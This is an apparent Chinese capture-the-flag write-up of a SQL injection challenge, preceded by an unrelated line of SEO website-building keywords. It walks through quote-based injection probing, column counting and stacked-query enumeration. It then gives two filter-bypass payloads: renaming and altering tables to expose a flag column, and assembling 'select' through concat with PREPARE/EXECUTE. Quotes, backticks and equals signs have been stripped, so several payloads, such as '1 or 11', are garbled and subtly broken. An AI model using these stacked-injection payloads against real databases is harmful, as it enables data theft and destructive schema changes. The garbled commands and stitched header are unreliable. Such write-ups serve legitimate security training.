利用cms怎么做网站,《网站建设与维护》讲义,网站外包开发,网站赚钱打开题目 输入1 输入1#xff0c;页面报错#xff0c;输入1 #页面正常
说明1为注入点且注入方式为字符型的单引号注入
判断列名
输入
1 order by 2 # 页面正常
1 order by 3 #页面报错 说明列名字段数为2
接下来我们尝试用联合注入的方式爆出数据显示位
输入1 union s…打开题目 输入1 输入1页面报错输入1 #页面正常
说明1为注入点且注入方式为字符型的单引号注入
判断列名
输入
1 order by 2 # 页面正常
1 order by 3 #页面报错 说明列名字段数为2
接下来我们尝试用联合注入的方式爆出数据显示位
输入1 union select 1,2 # 可以看到过滤了很多东西
return preg_match(/select|update|delete|drop|insert|where|\./i,$inject);
说明我们用不了联合注入因为过滤了union
我们尝试堆叠注入来查看有多少个数据库
1;show databases; # 我们查看表名
1;show tables; # 可以看到当前数据库下有两个表
1; show columns from 1919810931114514;# 这里查询表名使用反单引号 注意在windows系统下反单引号是数据库、表、索引、列和别名用的引用符 在这里使用 而不是 ’ 的一些解释 两者在linux下和windows下不同linux下不区分windows下区分。 单引号 ’ 或双引号主要用于 字符串的引用符号 反勾号 数据库、表、索引、列和别名用的是引用符是反勾号 (注Esc下面的键) 有MYSQL保留字作为字段的必须加上反引号来区分 如果是数值请不要使用引号。 可以看到有flag这个列 虽然我们已经得到了flag了但是select被过滤了而show命令又不能查看值。
这里看wp有一个其他思路
1.
让程序中已经存在的select语法帮我们进行查询把words改名为其他191这个表改名为words,然后再添加id字段将flag字段改为data。 先将 words 改为别的名字 比如 words2 或者其他 然后将 1919810931114514 改为 words 把属性名flag改为id然后用1’ or 11;# 显示flag出来 在这之前当然要先把words表改名为其他 payload 1;rename table words to word2;rename table 1919810931114514 to words;ALTER TABLE words ADD id int(10) DEFAULT 12;ALTER TABLE words CHANGE flag data VARCHAR(100); # ALTER TABLE用于更改表的结构例如添加、删除或修改表的列更改列的数据类型添加或删除索引等。
VARCHAR(100)是数据库表中列的数据类型和长度的定义。具体来说VARCHAR表示这是一个可变长度字符串数据类型而括号中的100表示该列可以存储的最大字符数为100
int(10)这表示这是一个整数数据类型。括号中的数字10通常用于指定显示的宽度但在大多数数据库管理系统中它只是用于显示目的而不会影响实际存储或范围。这个整数列将存储整数值。
DEFAULT 12这表示当插入一行时如果没有为这个列提供值将使用默认值12。这意味着如果没有明确指定值新插入的行将自动在这个列中包含整数值12。
综合起来int(10) DEFAULT 12定义了一个整数列它将存储整数值并且如果没有提供值则默认值为12。这意味着在插入新行时如果没有显式提供这个列的值它将自动设置为12。 然后我们用万能密码登录一下
1 or 11 # 得到flag 2.用concat拼接
1’;use supersqli;set sqlconcat(s,elect flag from 1919810931114514);PREPARE stmt1 FROM sql;EXECUTE stmt1 #